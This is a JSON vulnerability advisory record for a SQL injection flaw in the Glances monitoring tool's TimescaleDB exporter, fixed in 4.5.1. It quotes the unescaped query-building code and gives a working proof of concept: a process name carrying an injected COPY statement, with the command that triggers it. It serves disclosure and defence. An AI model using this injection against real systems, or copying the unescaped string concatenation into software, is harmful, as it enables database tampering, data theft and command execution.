{"id":"CVE-2026-30930","aliases":["CVE-2026-30930","GHSA-x46r-mf5g-xpr6","PYSEC-2026-2165"],"related":[],"kind":"vulnerability","state":"published","title":"Glances has SQL Injection via Process Names in TimescaleDB Export","summary":"Glances is an open-source system cross-platform monitoring tool. Prior to 4.5.1, The TimescaleDB export module constructs SQL queries using string concatenation with unsanitized system monitoring data. The normalize() method wraps string values in single quotes but does not escape embedded single quotes, making SQL injection trivial via attacker-controlled data such as process names, filesystem mount points, network interface names, or container names. This vulnerability is fixed in 4.5.1.","summarySource":"cvelist","descriptions":[{"lang":"en","text":"Glances is an open-source system cross-platform monitoring tool. Prior to 4.5.1, The TimescaleDB export module constructs SQL queries using string concatenation with unsanitized system monitoring data. The normalize() method wraps string values in single quotes but does not escape embedded single quotes, making SQL injection trivial via attacker-controlled data such as process names, filesystem mount points, network interface names, or container names. This vulnerability is fixed in 4.5.1.","source":"cvelist"},{"lang":"en","text":"### Summary\n\nThe TimescaleDB export module constructs SQL queries using string concatenation with unsanitized system monitoring data. The normalize() method wraps string values in single quotes but does not escape embedded single quotes, making SQL injection trivial via attacker-controlled data such as process names, filesystem mount points, network interface names, or container names.\n\nRoot Cause: The normalize() function uses f\"'{value}'\" for string values without escaping single quotes within the value. The resulting strings are concatenated into INSERT queries via string formatting and executed directly with cur.execute() — no parameterized queries are used.\n\n#### Affected Code\n- _File: glances/exports/glances_timescaledb/__init__.py, lines 79-93 (normalize function)_\n```\ndef normalize(self, value):\n    \"\"\"Normalize the value to be exportable to TimescaleDB.\"\"\"\n    if value is None:\n        return 'NULL'\n    if isinstance(value, bool):\n        return str(value).upper()\n    if isinstance(value, (list, tuple)):\n        # Special case for list of one boolean\n        if len(value) == 1 and isinstance(value[0], bool):\n            return str(value[0]).upper()\n        return ', '.join([f\"'{v}'\" for v in value])\n    if isinstance(value, str):\n        return f\"'{value}'\"  # <-- NO ESCAPING of single quotes within value\n\n    return f\"{value}\"\n```\n\n- _File: glances/exports/glances_timescaledb/__init__.py, lines 201-205 (query construction)_\n```\n# Insert the data\ninsert_list = [f\"({','.join(i)})\" for i in values_list]\ninsert_query = f\"INSERT INTO {plugin} VALUES {','.join(insert_list)};\"\nlogger.debug(f\"Insert data into table: {insert_query}\")\ntry:\n    cur.execute(insert_query)  # <-- Direct execution of concatenated SQL\n```\n\n### PoC\n- As a normal user, create a process with the name containing the SQL Injection payload:\n```\nexec -a \"x'); COPY (SELECT version()) TO '/tmp/sqli_proof.txt' --\"   python3 -c 'import time; [sum(range(500000)) or time.sleep(0.01) for _ in iter(int, 1)]'\n```\n- Start Glances with TimescaleDB export as root user:\n```\nglances --export timescaledb --export-process-filter \".*\" --time 5 --stdout cpu\n```\n- Observe that sqli_proof.txt is created in /tmp directory.\n\n### Impact\n\n- Data Destruction: DROP TABLE, DELETE, TRUNCATE operations against the TimescaleDB database.\n- Data Exfiltration: Using COPY ... TO or subqueries to extract data from other tables.\n- Potential RCE: Via PostgreSQL extensions like COPY ... PROGRAM which executes OS commands.\n- Privilege Escalation: Any local user who can create a process with a crafted name can inject SQL into the database, potentially compromising the entire PostgreSQL instance.","format":"markdown","source":"ghsa"},{"lang":"es","text":"Glances es una herramienta de monitoreo de sistema de código abierto multiplataforma. Antes de la versión 4.5.1, el módulo de exportación de TimescaleDB construye consultas SQL utilizando concatenación de cadenas con datos de monitoreo del sistema no saneados. El método normalize() envuelve los valores de cadena entre comillas simples pero no escapa las comillas simples incrustadas, lo que hace que la inyección SQL sea trivial a través de datos controlados por el atacante, como nombres de procesos, puntos de montaje del sistema de archivos, nombres de interfaces de red o nombres de contenedores. Esta vulnerabilidad se corrige en la versión 4.5.1.","source":"nvd"}],"published":"2026-03-09T19:51:35.000Z","modified":"2026-07-13T07:26:31.888Z","severity":{"scorer":"GitHub_M","scheme":"CVSS:4.0","vector":"CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P","score":7.3,"rating":"HIGH"},"severities":[{"scorer":"GitHub_M","scheme":"CVSS:4.0","vector":"CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P","score":7.3,"rating":"HIGH"},{"scorer":"GitHub","scheme":"CVSS:4.0","vector":"CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P","rating":"HIGH"},{"scorer":"NVD","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","score":9.8,"rating":"CRITICAL"},{"scorer":"PyPA Advisory Database","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","score":9.8,"rating":"CRITICAL"}],"cwes":["CWE-89"],"affected":[{"ranges":[{"version":"< 4.5.1","status":"affected"}],"vendor":"nicolargo","product":"glances","source":"cvelist"},{"ranges":[{"type":"ecosystem","introduced":"0","status":"affected","fixed":"4.5.1"}],"ecosystem":"PyPI","package":"glances","purl":"pkg:pypi/glances","source":"ghsa"},{"ranges":[{"status":"affected","fixed":"4.5.1"}],"vendor":"nicolargo","product":"glances","cpe":"cpe:2.3:a:nicolargo:glances:*:*:*:*:*:*:*:*","source":"nvd"},{"ranges":[{"type":"ecosystem","introduced":"0","status":"affected","fixed":"4.5.1"}],"ecosystem":"PyPI","package":"glances","purl":"pkg:pypi/glances","source":"pysec"}],"references":[{"url":"https://github.com/nicolargo/glances/security/advisories/GHSA-x46r-mf5g-xpr6","tags":["evidence","exploit","vendor-advisory","web","x-refsource-confirm"],"sources":["cvelist","ghsa","nvd","pysec"]},{"url":"https://github.com/nicolargo/glances/commit/39161f0d6fd723d83f534b48f24cdca722573336","tags":["fix","patch","web","x-refsource-misc"],"sources":["cvelist","ghsa","nvd","pysec"]},{"url":"https://github.com/nicolargo/glances/releases/tag/v4.5.1","tags":["product","web","x-refsource-misc"],"sources":["cvelist","ghsa","nvd","pysec"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-30930","tags":["advisory"],"sources":["ghsa"]},{"url":"https://github.com/nicolargo/glances","tags":["package"],"sources":["ghsa"]}],"credits":[],"assigner":"GitHub_M","ssvc":{"scorer":"CISA-ADP","exploitation":"poc","automatable":"no","technicalImpact":"total","date":"2026-03-10T00:00:00.000Z"},"sources":[{"source":"cvelist","name":"CVE List","id":"CVE-2026-30930","url":"https://www.cve.org/CVERecord?id=CVE-2026-30930","licence":"CVE Terms of Use","modified":"2026-03-11T03:57:17.097Z"},{"source":"ghsa","name":"GitHub Advisory Database","id":"GHSA-x46r-mf5g-xpr6","url":"https://github.com/advisories/GHSA-x46r-mf5g-xpr6","licence":"CC-BY-4.0","modified":"2026-07-13T07:26:31.888Z"},{"source":"nvd","name":"NVD","id":"CVE-2026-30930","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-30930","licence":"Public domain","modified":"2026-06-17T10:33:10.250Z"},{"source":"pysec","name":"PyPA Advisory Database","id":"PYSEC-2026-2165","url":"https://osv.dev/vulnerability/PYSEC-2026-2165","licence":"CC-BY-4.0","modified":"2026-07-13T07:15:30.440Z"}],"updatedAt":"2026-11-25T22:59:15.616Z","epss":{"score":0.00417,"percentile":0.38008,"date":"2026-12-01T12:00:22.000Z"}}